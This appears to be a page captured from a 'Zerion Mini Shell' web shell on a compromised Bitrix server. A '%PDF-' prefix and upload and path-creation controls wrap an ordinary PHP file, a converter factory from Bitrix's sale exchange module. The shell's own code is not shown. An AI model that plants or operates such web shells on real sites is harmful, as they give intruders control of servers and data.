%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/sale/lib/exchange/onec/subordinatesale/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/modules/sale/lib/exchange/onec/subordinatesale/converterfactory.php

<?php

namespace Bitrix\Sale\Exchange\OneC\SubordinateSale;


use Bitrix\Main\ArgumentOutOfRangeException;
use Bitrix\Main\NotSupportedException;
use Bitrix\Sale\Exchange\EntityType;
use Bitrix\Sale\Exchange\IConverter;
use Bitrix\Sale\Exchange\OneC\ConverterDocumentPayment;
use Bitrix\Sale\Exchange\OneC\ConverterDocumentProfile;

class ConverterFactory
{
	/**
	 * @param $typeId
	 * @return IConverter
	 * @throws ArgumentOutOfRangeException
	 * @throws NotSupportedException
	 */
	public static function create($typeId)
	{
		if(!is_int($typeId))
		{
			$typeId = (int)$typeId;
		}

		if(!EntityType::IsDefined($typeId))
		{
			throw new ArgumentOutOfRangeException('documentTypeID', EntityType::FIRST, EntityType::LAST);
		}

		if($typeId === EntityType::ORDER)
		{
			return new ConverterDocumentOrder();
		}
		elseif($typeId === EntityType::SHIPMENT)
		{
			return new ConverterDocumentShipment();
		}
		elseif($typeId === EntityType::PAYMENT_CASH ||
			$typeId === EntityType::PAYMENT_CASH_LESS ||
			$typeId === EntityType::PAYMENT_CARD_TRANSACTION)
		{
			return new ConverterDocumentPayment();
		}
		elseif($typeId == EntityType::PROFILE ||
			$typeId == EntityType::USER_PROFILE)
		{
			return new ConverterDocumentProfile();
		}
		else
		{
			throw new NotSupportedException("Entity type: '".EntityType::ResolveName($typeId)."' is not supported in current context");
		}
	}
}

Zerion Mini Shell 1.0